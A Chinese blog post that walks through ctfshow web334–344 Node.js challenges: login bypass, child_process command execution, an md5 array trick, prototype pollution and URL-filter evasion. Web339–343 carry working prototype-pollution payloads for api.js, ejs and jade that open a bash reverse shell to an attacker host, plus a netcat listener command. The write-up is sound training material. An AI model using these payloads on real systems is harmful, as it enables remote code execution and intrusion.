ctfshow-web入门-nodejs系列

web334

下载源码后缀改为zip打开即可

先对源码经行一个简单的分析

login.js

// 引入Express框架
var express = require('express');

// 创建一个路由实例
var router = express.Router();

// 引入用户数据,假设user模块导出的是一个包含用户项的对象
var users = require('../modules/user').items;

// 定义一个查找用户的函数,接受用户名和密码作为参数
var findUser = function(name, password){
  // 使用Array.find方法在用户数据中查找符合条件的用户
  return users.find(function(item){
    // 查找用户名为name(转换为大写,排除CTFSHOW)且密码匹配的用户
    return name !== 'CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* 处理登录请求的路由。客户端发送POST请求到这个路由时,会执行以下逻辑 */
router.post('/', function(req, res, next) {
  res.type('html'); // 设置响应的内容类型为HTML

  // 假设是一个标志位或秘钥,通常用来做登录成功后的验证或提示
  var flag = 'flag_here';

  // 获取当前会话
  var sess = req.session;

  // 使用findUser函数查找用户
  var user = findUser(req.body.username, req.body.password);
 
  // 如果找到用户
  if(user){
    // 重新生成会话
    req.session.regenerate(function(err) {
      if(err){
        // 如果会话生成失败,返回登录失败的响应
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      // 设置会话的登录用户信息
      req.session.loginUser = user.username;

      // 返回登录成功的响应,并携带flag
      res.json({ret_code: 0, ret_msg: '登录成功', ret_flag: flag});              
    });
  } else {
    // 如果未找到用户,返回账号或密码错误的响应
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
});

// 导出路由,以便在其他地方使用
module.exports = router;


------------
user.js

module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

比较重要的函数

var findUser = function(name, password){
  // 使用Array.find方法在用户数据中查找符合条件的用户
  return users.find(function(item){
    // 查找用户名为name(转换为大写,排除CTFSHOW)且密码匹配的用户
    return name !== 'CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};
代码解析
函数定义 (findUser):
findUser 是一个匿名函数,被赋值给变量 findUser。它接受两个参数:name(用户名)和 password(密码)。

查找用户 (users.find):
users 是一个用户列表,假设是一个数组,其中每个元素都是一个用户对象。
Array.find 方法用于遍历数组中的元素,并返回第一个满足条件的元素。如果没有找到满足条件的元素,则返回 undefined。

查找条件 (function(item)):
find 方法中的回调函数会对数组中的每个元素执行一次,它的参数 item 代表当前遍历到的用户对象。
查找条件是:用户名 name 不是字符串 "CTFSHOW",且 item 对象的 username 属性等于 name 参数的全大写形式,并且 password 属性等于传入的 password 参数。

很明显只要登陆成功就给flag
不能用CTFSHOW用户
但是你输入ctfshow也会给你变为CTFSHOW
即可登陆成功

web335

进入后查看源码得到提示

image

很明显提示我们执行命令

官方有很多命令

image

eval=require("child_process").spawnSync('cat',['fl00g.txt']).stdout.toString()
eval=require("child_process").spawnSync('ls',['.']).stdout.toString()
解释
导入 child_process 模块:

require("child_process") 用于导入 Node.js 的 child_process 模块。
执行 ls 命令:

spawnSync('ls', ['.']) 同步执行 ls 命令,这里的参数 ['.'] 表示列出当前目录(.)的内容。
获取标准输出:

.stdout 访问子进程的标准输出,它是一个缓冲区(Buffer)对象。
.toString() 方法将缓冲区转换为字符串,使输出内容可读。
eval=require('child_process').execSync('ls').toString()
eval=require('child_process').execSync('cat fl00g.txt').toString()
这个可以不进行最后的转换
解释:
execSync 返回的是一个 Buffer 对象,Buffer 是 Node.js 中用于处理二进制数据的类。即使不进行转换,也可以直接输出 Buffer 对象,Node.js 会自动将其转换为字符串显示在控制台。
直接输出 Buffer 对象:

当你使用 console.log 打印 Buffer 对象时,Node.js 会将其自动转换为字符串形式,并显示在控制台上。这样,你也能看到 ls 命令的执行结果。
为何转换为字符串:

虽然 Buffer 对象在控制台上会自动显示为字符串,但在实际的编程中,通常会将 Buffer 转换为字符串以便进行进一步处理。使用 toString() 方法可以确保你得到的是正确编码的字符串,并能够在代码中以字符串的方式进行处理。

web336

把上一题的execSync过滤了
但是还可以用

eval=require("child_process").spawnSync('cat',['fl00g.txt']).stdout.toString()
eval=require("child_process").spawnSync('ls',['.']).stdout.toString()

web337

给了题目

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

很明显只要能过

if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag))
就能拿到flag
a && b && a.length===b.length && a!==b 
这些传数组就行
但是后面
md5(a+flag)===md5(b+flag)需要动动脑子
如果你直接a[]=1&b[]=2
就相当于a=[1]&b=[2]

image

很明显绕不过md5(a+flag)===md5(b+flag)

在 JavaScript 中,当你将一个数组与字符串进行连接时,数组会被隐式转换为字符串。对于数组对象,这种转换会调用数组的 toString() 方法。数组的 toString() 方法会将数组的所有元素转换为字符串并用逗号分隔,然后返回生成的字符串。

代码解释
javascript
复制代码
let a = [2];
console.log(a + "flag{xxx}");
数组 a:数组 a 包含一个元素 2。
连接字符串:当数组 a 与字符串 "flag{xxx}" 进行连接时,数组 a 会被转换为字符串 "2"。因此,最终的输出是 "2flag{xxx}"。

当我们传入a[a]=1&b[b]=2
经过

req.query.a
req.query.b

就变成了

{'a':'1'}

image

这样就可以成功绕过

web338

下载源码
看app.py

image

image

image

很明显的原型链污染

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

要使secert.ctfshow===36dboy
就可以拿到flag
我们只需要通过user进行污染即可
image

{"a": 1, "__proto__": {"ctfshow": "36dboy"}}

原型链污染的原理看这里这里

web339

这一题的login.js

if(secert.ctfshow===flag)
而flag的值我们也不知道所以不能像上题一样直接改ctfshow的值来通过了

但是这一题多了一个api.js
里面有一个query是未定义的,其会向其原型找,那么通过污染原型构造恶意代码即可rce。

监听端口
nc -lvvp 9999
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxx/9999 0>&1\"')"}}

在/login进行污染

image

再访问一下/api

image

即可

image

查看login.js即可
还有一个非预期解

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"');var __tmp2"}}
index发包再api发包

有详解

web340

和上一题差不多
image

就是我们能控制的是userinfo,但是userinfo上一级是user,user的上一级才是object,才能影响到'api', { query: Function(query)(query)}

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')"}}}

剩下的步骤和上面一样

web341

和上一题的区别是没有了api.js没法再进行命令执行了
但是我们上面有个非预期解还记得吗
那个非预期姐是这个预期解
我们需要利用一个工具来找到这个漏洞--snyk

sudo apt update
sudo apt install nodejs npm
sudo npm install -g snyk
然后
snyk auth授权
再把源码托到虚拟机里
进入源码
snyk test即可
中间安装出错了可以问ai

image

存在ejs模板引擎漏洞

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"');var __tmp2"}}}
//直接监听发送即可

老地方没找到flag
直接env查看环境变量即可
image

web342,343

jade

{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')"}}}
或
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"');//"}}}
或
{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')"}}}

改Content-Type: application/json

image

env即可

web344

给了源码

// 定义一个路由处理器,当访问 '/' 路径时执行
router.get('/', function(req, res, next) {
  // 设置响应类型为 'html'
  res.type('html');
  
  // 定义一个变量 flag,存储字符串 'flag_here'
  var flag = 'flag_here';
  
  // 检查请求的 URL 中是否包含 '8c', '2c', 或 ',',忽略大小写
  if(req.url.match(/8c|2c|\,/ig)){
    // 如果匹配,则返回消息并结束响应
    res.end('where is flag :)');
  }
  
  // 解析请求查询参数中的 'query' 字段,并将其转换为 JavaScript 对象
  var query = JSON.parse(req.query.query);
  
  // 检查解析后的 query 对象中的 name 是否为 'admin',
  // password 是否为 'ctfshow',以及 isVIP 是否为 true
  if(query.name === 'admin' && query.password === 'ctfshow' && query.isVIP === true){
    // 如果以上条件都满足,则返回 flag 的内容并结束响应
    res.end(flag);
  } else {
    // 如果条件不满足,则返回消息并结束响应
    res.end('where is flag. :)');
  }
});

需要满足

 if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true)
 //?query={"name":"admin","password":"ctfshow","isVIP":true}

但是过滤了,和2c(逗号的url编码)
我们可以用&代替

?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
传之前对ctfshow进行url编码
?query={"name":"admin"&query="password":"%63%74%66%73%68%6f%77"&query="isVIP":true}
因为"的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式。

posted @ 2024-07-31 21:29  DGhh  阅读(6)  评论(0编辑  收藏  举报